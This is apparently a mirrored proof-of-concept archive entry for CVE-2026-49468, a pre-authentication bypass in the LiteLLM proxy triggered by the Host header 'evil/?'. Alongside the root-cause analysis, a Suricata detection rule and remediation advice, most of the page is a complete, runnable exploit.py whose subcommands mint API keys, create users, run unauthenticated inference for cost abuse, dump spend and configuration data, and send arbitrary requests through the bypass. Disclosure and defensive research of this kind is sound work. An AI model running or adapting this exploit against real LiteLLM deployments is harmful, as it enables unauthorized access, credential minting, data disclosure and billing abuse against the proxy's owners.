PoC Archive PoC Archive
Critical CVE-2026-49468 patched

LiteLLM Proxy Unauthenticated Auth Bypass via Host-Header Route Confusion (CVE-2026-49468)

by BiiTts (Caio Fabrício) · 2026-07-05

CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-49468
Category
web
Affected product
LiteLLM (BerriAI) proxy
Affected versions
< 1.84.0 (verified by the source repo on v1.83.14-stable); fixed in 1.84.0
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-07
Author / ResearcherBiiTts (Caio Fabrício)
CVE / AdvisoryCVE-2026-49468
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSS 3.1, AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, per NVD as stated in source); 9.5 (CVSS 4.0 per GitHub advisory, as stated in source)
StatusPoC
Tagslitellm, llm-proxy, auth-bypass, host-header, route-confusion, cwe-290, fastapi, starlette, python
RelatedN/A

Affected Target

FieldValue
Software / SystemLiteLLM (BerriAI) proxy
Versions Affected< 1.84.0 (verified by the source repo on v1.83.14-stable); fixed in 1.84.0
Language / PlatformPython (FastAPI / Starlette ASGI application)
Authentication RequiredNo (pre-auth; bypasses authentication entirely)
Network Access RequiredYes

Summary

exploit.py demonstrates a pre-authentication bypass in the LiteLLM proxy caused by a single crafted Host header (Host: evil/?). LiteLLM’s get_request_route() derives the route used for auth decisions from request.url.path, which Starlette reconstructs from the client-controlled Host header rather than from the real ASGI routing path. Injecting /? into the Host header pushes the real request path into the URL’s query component, making get_request_route() return / — a public, unauthenticated health-check route — while FastAPI still dispatches the request to the real, normally-protected handler. This lets an unauthenticated attacker mint valid API keys, create users, run inference, and read configuration/spend data on any endpoint whose only protection is this route-based check.


Vulnerability Details

Root Cause

litellm/proxy/auth/auth_utils.py::get_request_route() computes the route used by both the authentication builder and the authorization wrapper in user_api_key_auth.py from request.url.path. Starlette’s URL object rebuilds this string as f"{scheme}://{host_header}{path}" using the raw, attacker-supplied Host header, then re-parses it with urlsplit(...).path. FastAPI’s actual routing, however, dispatches on request.scope["path"] (the true ASGI path). A Host header of evil/? causes the reconstructed URL to become http://evil/?/<real-path>, whose urlsplit().path collapses to /. Since "/" is in LiteLLMRoutes.public_routes, both the authn check (user_api_key_auth.py ~L688) and the authz check (~L1642) short-circuit as if the request were hitting a public route, while the real handler for the real path still executes.

Attack Vector

  1. Attacker sends any HTTP request to the LiteLLM proxy for a protected endpoint (e.g. POST /key/generate), but sets the Host header to the literal string evil/? instead of the real proxy host.
  2. Starlette reconstructs request.url using that Host header, causing get_request_route() to return / regardless of the real request path.
  3. LiteLLM’s auth builder sees route / in public_routes and returns UserAPIKeyAuth(user_role=INTERNAL_USER_VIEW_ONLY) without requiring any API key.
  4. LiteLLM’s authorization wrapper also sees route / in public_routes and returns early, skipping common_checks and admin-route enforcement.
  5. FastAPI still routes and executes the real handler for the real path (/key/generate, /user/new, /chat/completions, /spend/logs, etc.), serving the request fully unauthenticated.
  6. Endpoints that additionally perform an inline PROXY_ADMIN role check (e.g. /config/update, /model/new, /user/list, MCP direct-create) remain blocked, since the bypass only grants INTERNAL_USER_VIEW_ONLY, not PROXY_ADMIN.

Impact

Complete unauthenticated compromise of any LiteLLM proxy endpoint gated solely by the route-based auth check: minting persistent, fully-functional virtual API keys (/key/generate), creating users (/user/new), unauthenticated LLM inference causing provider cost abuse (/chat/completions), and disclosure of configuration/spend/telemetry data (/spend/logs, /settings, /get/config/callbacks). Per the author’s analysis, this does not chain directly to remote code execution or full proxy-admin takeover on the tested version, since admin-gated endpoints (including MCP server creation and role elevation) still enforce an inline PROXY_ADMIN check that this bypass does not satisfy.


Environment / Lab Setup

Target:   LiteLLM proxy v1.83.14-stable (vulnerable) and v1.84.0 (patched), both with LITELLM_MASTER_KEY auth enabled, run side-by-side via lab/docker-compose.yml on ports 4000 (vulnerable) and 4001 (patched), backed by PostgreSQL
Attacker: Python 3 stdlib (http.client) — exploit.py sets the Host header verbatim at the wire level via skip_host=True

Proof of Concept

PoC Script

See exploit.py in this folder (lab config/compose in lab/).

1
2
3
4
5
6
7
8
cd lab && docker compose up -d && cd ..

python3 exploit.py -u http://127.0.0.1:4000 check

python3 exploit.py -u http://127.0.0.1:4000 mint-key --alias demo

python3 exploit.py -u http://127.0.0.1:4000 chat --model gpt-3.5-turbo --prompt "hi"
python3 exploit.py -u http://127.0.0.1:4000 dump

exploit.py sends a GET /user/list both with and without the spoofed Host: evil/? header to confirm the bypass (401 vs. non-401), then offers mint-key, user, chat, dump, and raw subcommands that all use the same Host-header trick to reach protected endpoints without any API key.


Detection & Indicators of Compromise

alert http any any -> any any (msg:"CVE-2026-49468 LiteLLM Host route-confusion bypass";
  flow:to_server,established; http.host; pcre:"/[\/?#]/";
  classtype:web-application-attack; sid:2026049468; rev:1;)

Signs of compromise:

  • Any request reaching the LiteLLM proxy whose Host header contains /, ?, or #
  • New virtual API keys created (/key/generate) or users created (/user/new) with no corresponding authenticated admin session in logs
  • Inference/spend logs showing activity attributed to INTERNAL_USER_VIEW_ONLY with no legitimate API key presented

Remediation

ActionDetail
Primary fixUpgrade to LiteLLM 1.84.0 or later, where get_request_route() reads request.scope["path"]/scope["root_path"] directly instead of reconstructing the path from the Host header
Interim mitigationPlace the proxy behind a reverse proxy that enforces strict Host header validation (reject any Host value containing /, ?, or #), and ensure a master_key is always configured

References


Notes

Mirrored from https://github.com/BiiTts/CVE-2026-49468-LiteLLM-Auth-Bypass on 2026-07-05.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
#!/usr/bin/env python3
"""
CVE-2026-49468 - LiteLLM proxy unauthenticated auth bypass via Host-header route confusion.

Affected:  LiteLLM (BerriAI) proxy < 1.84.0   (verified on v1.83.14-stable)
Fixed:     v1.84.0
Class:     Improper Authentication (CWE-290) / route confusion
Auth:      none (pre-auth)

Root cause
----------
`get_request_route()` derives the route used for every auth decision from
`request.url.path`, which Starlette rebuilds from the client-controlled `Host`
header (`url = f"{scheme}://{host_header}{path}"; path = urlsplit(url).path`).
FastAPI dispatches on the real ASGI path (`scope["path"]`). Sending a Host header
containing `/?` pushes the real request path into the URL *query* component, so
the auth layer sees route `/` (a public health route) while FastAPI still runs the
protected handler. Both the authentication builder and the authorization wrapper
short-circuit on public routes, so the request is served with no API key.

The whole trick is one header:  Host: evil/?

Endpoints still guarded by an inline PROXY_ADMIN check (config/update, model/new,
user/list, role elevation, MCP direct-create) remain blocked; everything gated only
by the route-based check is reachable unauthenticated.

Author: Caio Fabricio (BiiTts)  -  MIT License.
For authorized security testing only.
"""

import argparse
import http.client
import json
import ssl
import sys
from urllib.parse import urlsplit

DEFAULT_HOST_PAYLOAD = "evil/?"   # -> get_request_route() returns "/"  (public)


def _request(base_url, method, path, host_payload, body=None, bearer=None, timeout=15):
    """Send one HTTP request to base_url's real host, spoofing the Host header.

    Returns (status_code, response_text). When host_payload is None the Host
    header is left as the real target (used for the unauth baseline)."""
    parts = urlsplit(base_url)
    scheme = parts.scheme or "http"
    host = parts.hostname
    port = parts.port or (443 if scheme == "https" else 80)

    if scheme == "https":
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
        conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
    else:
        conn = http.client.HTTPConnection(host, port, timeout=timeout)

    payload = None
    if body is not None:
        payload = body if isinstance(body, (bytes, str)) else json.dumps(body)
        if isinstance(payload, str):
            payload = payload.encode()

    # skip_host=True lets us set the Host header verbatim (incl. "/" and "?").
    conn.putrequest(method, path, skip_host=True, skip_accept_encoding=True)
    real_host = "%s:%s" % (host, port)
    conn.putheader("Host", host_payload if host_payload is not None else real_host)
    if payload is not None:
        conn.putheader("Content-Type", "application/json")
        conn.putheader("Content-Length", str(len(payload)))
    if bearer:
        conn.putheader("Authorization", "Bearer " + bearer)
    conn.putheader("Connection", "close")
    conn.endheaders(message_body=payload)

    resp = conn.getresponse()
    text = resp.read().decode(errors="replace")
    conn.close()
    return resp.status, text


def _bypass(base_url, method, path, host_payload, body=None):
    return _request(base_url, method, path, host_payload, body=body)


def _pretty(text, limit=None):
    try:
        obj = json.loads(text)
        out = json.dumps(obj, indent=2)
    except ValueError:
        out = text
    return out if limit is None else out[:limit]


def action_check(args):
    """Confirm the target is vulnerable: baseline 401 vs bypass past-auth."""
    hp = args.host_payload
    base_s, _ = _request(args.url, "GET", "/user/list", None)          # no bypass
    byp_s, byp_b = _bypass(args.url, "GET", "/user/list", hp)          # bypass
    print("[*] GET /user/list  no-bypass Host  -> %s" % base_s)
    print("[*] GET /user/list  Host: %-8s  -> %s" % (hp, byp_s))
    vuln = base_s == 401 and byp_s != 401
    if vuln:
        print("[+] VULNERABLE: authentication bypassed "
              "(baseline 401, bypass reached the handler: %s)." % byp_s)
    else:
        print("[-] Not vulnerable / patched (bypass still %s)." % byp_s)
    return 0 if vuln else 1


def action_mint_key(args):
    """Mint a virtual API key with no authentication."""
    body = {"key_alias": args.alias} if args.alias else {}
    if args.models:
        body["models"] = args.models.split(",")
    st, txt = _bypass(args.url, "POST", "/key/generate", args.host_payload, body)
    if st == 200:
        key = json.loads(txt).get("key")
        print("[+] Minted virtual API key (unauthenticated): %s" % key)
        print("    This key works as normal auth (no bypass header needed).")
    else:
        print("[-] /key/generate returned %s:\n%s" % (st, _pretty(txt, 400)))
        return 1
    return 0


def action_user(args):
    """Create a user unauthenticated (default role)."""
    body = {}
    if args.alias:
        body["user_alias"] = args.alias
    st, txt = _bypass(args.url, "POST", "/user/new", args.host_payload, body)
    print("[%s] POST /user/new -> %s" % ("+" if st == 200 else "-", st))
    print(_pretty(txt, 600))
    return 0 if st == 200 else 1


def action_chat(args):
    """Unauthenticated inference against the proxy's configured providers."""
    body = {"model": args.model,
            "messages": [{"role": "user", "content": args.prompt}]}
    st, txt = _bypass(args.url, "POST", "/chat/completions", args.host_payload, body)
    print("[%s] POST /chat/completions -> %s" % ("+" if st == 200 else "-", st))
    print(_pretty(txt, 800))
    return 0 if st == 200 else 1


def action_dump(args):
    """Enumerate models / settings / spend unauthenticated."""
    for path in ("/v1/models", "/model/info", "/spend/logs", "/settings",
                 "/get/config/callbacks"):
        st, txt = _bypass(args.url, "GET", path, args.host_payload)
        print("=" * 60)
        print("[%s] GET %s -> %s" % ("+" if st == 200 else "-", path, st))
        if st == 200:
            print(_pretty(txt, 1200))
    return 0


def action_raw(args):
    """Send an arbitrary request through the bypass."""
    body = args.data if args.data else None
    st, txt = _bypass(args.url, args.method, args.path, args.host_payload, body)
    print("[*] %s %s  Host: %s -> %s" % (args.method, args.path, args.host_payload, st))
    print(_pretty(txt))
    return 0 if st < 400 else 1


def main():
    p = argparse.ArgumentParser(
        description="CVE-2026-49468 - LiteLLM unauth auth bypass (Host route confusion).")
    p.add_argument("-u", "--url", required=True,
                   help="Target base URL, e.g. http://127.0.0.1:4000")
    p.add_argument("--host-payload", default=DEFAULT_HOST_PAYLOAD,
                   help="Spoofed Host header (default: %(default)r)")
    sub = p.add_subparsers(dest="cmd", required=True)

    sp = sub.add_parser("check", help="confirm vulnerability (401 vs bypass)")
    sp.set_defaults(func=action_check)

    sp = sub.add_parser("mint-key", help="mint a virtual API key unauthenticated")
    sp.add_argument("--alias", default="poc")
    sp.add_argument("--models", help="comma-separated model allowlist for the key")
    sp.set_defaults(func=action_mint_key)

    sp = sub.add_parser("user", help="create a user unauthenticated")
    sp.add_argument("--alias", default=None)
    sp.set_defaults(func=action_user)

    sp = sub.add_parser("chat", help="unauthenticated inference (cost abuse)")
    sp.add_argument("--model", default="gpt-3.5-turbo")
    sp.add_argument("--prompt", default="hello")
    sp.set_defaults(func=action_chat)

    sp = sub.add_parser("dump", help="enumerate models/settings/spend unauthenticated")
    sp.set_defaults(func=action_dump)

    sp = sub.add_parser("raw", help="arbitrary request through the bypass")
    sp.add_argument("method")
    sp.add_argument("path")
    sp.add_argument("--data", help="raw JSON body")
    sp.set_defaults(func=action_raw)

    args = p.parse_args()
    try:
        sys.exit(args.func(args))
    except (http.client.HTTPException, OSError) as e:
        print("[!] transport error: %s" % e, file=sys.stderr)
        sys.exit(2)


if __name__ == "__main__":
    main()